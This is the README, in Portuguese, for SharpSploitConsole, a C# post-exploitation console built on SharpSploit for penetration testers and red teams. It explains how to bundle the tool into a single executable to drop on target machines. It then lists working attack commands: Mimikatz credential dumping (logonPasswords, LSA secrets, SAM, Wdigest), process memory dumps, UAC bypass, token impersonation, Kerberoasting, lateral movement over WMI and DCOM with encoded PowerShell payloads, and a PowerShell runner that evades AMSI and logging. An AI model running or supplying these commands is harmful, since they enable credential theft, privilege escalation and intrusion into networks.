
Aplicação de console em C# para operações de pós-exploração e red team, integrando SharpSploit para executar comandos Mimikatz, realizar Kerberoasting, contornar UAC, despejar credenciais e mover lateralmente via WMI/DCOM.
Aplicativo de console projetado para interagir com o SharpSploit lançado por @cobbr_io > https://github.com/cobbr/SharpSploit
SharpSploit é uma ferramenta escrita por @cobbr_io que combina muitas técnicas/código C# da comunidade de segurança da informação e as une em uma única DLL bacana. É incrível, então confira!
O SharpSploit Console é apenas um binário rápido de prova de conceito para ajudar testadores de penetração ou equipes vermelhas com menos experiência em C# a brincar com um pouco da grandiosidade que é o SharpSploit. Seguindo as instruções abaixo, você deve ser capaz de incorporar tanto o SharpSploit.dll quanto o System.Management.Automation.dll no binário do SharpSploitConsole, criando um executável independente que você pode colocar em um sistema alvo apropriado e executar em um shell não interativo (como o beacon).
Esse conceito pode ser aplicado a muitos binários C#. Por exemplo, poderíamos incorporar o System.Management.Automation.dll em nosso NoPowershell.exe favorito em C#, criando um binário que não depende do System.Management.Automation.dll no sistema alvo.
Por último, estou ciente de que existem provavelmente milhares de maneiras de tornar isso melhor, mais rápido, mais legal, mais furtivo, etc. Então, sinta-se à vontade para me avisar... de uma maneira educada. :) Também pretendo adicionar mais módulos e melhorar outros.
Contato em:
Antes de enviar problemas, esta ferramenta pode não ser atualizada ativamente. Encorajo você a pegar emprestado, adicionar, modificar e/ou criar suas próprias versões. Lembre-se, todo o código incrível por aí (e há muito) pode ser copiado/modificado para criar suas próprias ferramentas personalizadas.
Nota: Usei Windows 10, Visual Studio 2017 - os resultados podem variar
Baixe a ferramenta SharpSploit de https://github.com/cobbr/SharpSploit.git
Abra o SharpSploit.sln no Visual Studio e compile (certifique-se de compilar para a arquitetura correta) - Deve ver o menu suspenso com Any CPU > Clique nele e abra o Gerenciador de Configuração > em plataforma altere para a arquitetura desejada e selecione ok.
Baixe a ferramenta SharpSploitConsole e abra o SharpSploitConsole.sln
Copie tanto o SharpSploit.dll quanto o System.Management.Automation.dll encontrados no diretório SharpSploit/bin/x64/Debug para a pasta SharpSploitConsole/bin/x64/Debug
Em seguida, configuraremos o Visual Studio para incorporar nossas DLLs em nosso EXE, para que possamos ter um único binário para executar em nossa máquina alvo. Faremos isso da seguinte maneira:
No Visual Studio:
a. Tools > NuGet Package Manager > Package Manager Console
b. No console, execute:
Install-Package Costura.Fody
c. Abra o bloco de notas e cole o código abaixo e salve-o com o nome FodyWeavers.xml dentro do diretório SharpSploitConsole que contém suas pastas bin, obj, properties.
<?xml version="1.0" encoding="utf-8"?>
<Weavers>
<Costura />
</Weavers>
6. No Visual Studio, clique com o botão direito em Referências no lado direito, escolha Adicionar Referência, então navegue até o diretório SharpSploitConsole/bin/x64/Debug onde colocamos nossas duas DLLs, selecione-as e adicione-as.
Nota: Todos os comandos não diferenciam maiúsculas de minúsculas
Por padrão, todos os comandos podem ser fornecidos como argumentos de linha de comando, eles serão executados e o programa será encerrado (ótimo para shells remotos). Isso se parece com algo como: sharpSploitConsole.exe getSystem logonPasswords. Alternativamente, se você quiser usar o modo de console interativo, pode usar o comando interact para obter um shell pseudo-interativo.
Iniciar modo de console interativo:
Interact
Mimikatz para tudo (não executa DCSync) - requer admin ou system:
Mimi-All
Executa um comando Mimikatz específico de sua escolha - requer admin ou system:
Mimi-Command privilege::debug sekurlsa::logonPasswords
Executa o comando Mimikatz privilege::debug sekurlsa::logonPasswords - requer admin ou system:
logonPasswords
Executa o comando Mimikatz para recuperar hashes de Credenciais em Cache do Domínio do registro - requer admin ou system:
LsaCache
Executa o comando Mimikatz para recuperar Segredos LSA armazenados no registro - requer admin ou system:
LsaSecrets
Recuperar hashes de senha do banco de dados SAM - requer admin ou system:
SamDump
Recuperar credenciais Wdigest do registro - requer admin ou system:
Wdigest
Recuperar usuário atual:
whoami
Username
Personificar usuário do sistema - requer direitos de admin:
GetSystem
Personificar usuário do sistema - Personificar o token de um processo específico, requer pid - comando requer direitos de admin:
Impersonate 2918
Ignorar UAC - requer binário | comando | caminho para o binário - requer direitos de admin:
BypassUAC cmd.exe ipconfig C:\Windows\System32\
BypassUAC cmd.exe "" C:\Windows\System32\
Encerra a personificação de qualquer token, retorna ao token inicial associado ao processo atual:
RevertToSelf
Recuperar diretório de trabalho atual:
CurrentDirectory
Recuperar listagem do diretório atual:
DirectoryListing
Altera o diretório atual anexando uma string especificada ao diretório de trabalho atual:
ChangeDirectory SomeFolder
Recuperar nome do host:
Hostname
Recuperar lista de processos em execução:
ProcessList
Cria um minidump da memória de um processo em execução, requer PID | local de saída | nome de saída - requer admin:
ProcDump 2198 C:\Users\Username\Desktop memorydump.dmp
Recuperar valor do caminho do registro, requer argumento de caminho completo:
ReadRegistry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\COM3\BuildNumber
Escrever no registro, requer argumento de caminho completo e argumento de valor:
WriteRegistry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\COM3\RemoteAccessEnabled 1
Recuperar usuários de grupo local remotamente, requer nome do computador | nome do grupo | nome de usuário | senha:
NetLocalGroupMembers computerName Administrators domain\username P@55w0rd!
NetLocalGroupMembers 192.168.1.20 Administrators .\username P@55w0rd!
Recuperar grupos locais remotamente, requer nome do computador | nome de usuário | senha:
NetLocalGroups computerName domain\username P@55w0rd!
NetLocalGroups 192.168.1.20 .\username P@55w0rd!
Recuperar usuários atualmente logados remotamente, requer nome do computador | nome de usuário | senha:
NetLoggedOnUsers computerName domain\username P@55w0rd!
NetLoggedOnUsers 192.168.1.20 .\username P@55w0rd!
Recuperar sessões de usuário remotamente, requer nome do computador | nome de usuário | senha:
NetSessions computerName domain\username P@55w0rd!
NetSessions 192.168.1.20 .\username P@55w0rd!
Pingar sistemas, requer nomes de computadores:
Ping computer1 computer2 computer3 computer4
Escaneamento de portas em sistemas, requer nome do computador | portas:
PortScan computer1 80 443 445 22 23
Obter Usuários do Domínio, Obtém objetos de usuário especificados (ou todos) no domínio alvo, por padrão usará o contexto do usuário atual. argumentos opcionais: -username -password -domain -server -searchbase -searchstring -target:
GetDomainUsers
Obter Grupos do Domínio, Obtém objetos de grupo especificados (ou todos) no domínio alvo, por padrão usará o contexto do usuário atual. argumentos opcionais: -username -password -domain -server -searchbase -searchstring -target:
GetDomainGroups
GetDomainGroups -target "Domain Admins"
Obter Computadores do Domínio, Obtém objetos de computador especificados (ou todos) no domínio alvo, por padrão usará o contexto do usuário atual. argumentos opcionais: -username -password -domain -server -searchbase -searchstring -target:
GetDomainComputers
Executar Kerberoasting, Realiza um ataque de kerberoasting contra objetos de usuário alvo (ou todos) no domínio alvo, por padrão usará o contexto do usuário atual. argumentos opcionais: -username -password -domain -server -searchbase -searchstring -target
Kerberoast
Kerberoast -username bob -password Password1 -domain test.corp -server 192.168.1.10 -target sqlService
Executar comando remotamente via WMI, requer nome do computador | nome de usuário | senha | comando - requer admin:
WMI computer1 domain\username P@55w0rd! <entire powershell empire payload>
WMI computer1 .\username P@55w0rd! powershell -noP -sta -w 1 -enc <Base64>
Executar comando remotamente via DCOM, requer nome do computador | comando | diretório | parâmetros - requer admin:
DCOM computer1 cmd.exe c:\Windows\System32 powershell -noP -sta -w 1 -enc <Base64>
Executar comando shell:
Shell ipconfig /all
Executar comando powershell enquanto tenta ignorar AMSI, registro de scriptBlock e registro de módulo:
Powershell -noP -sta -w 1 -enc <Base64>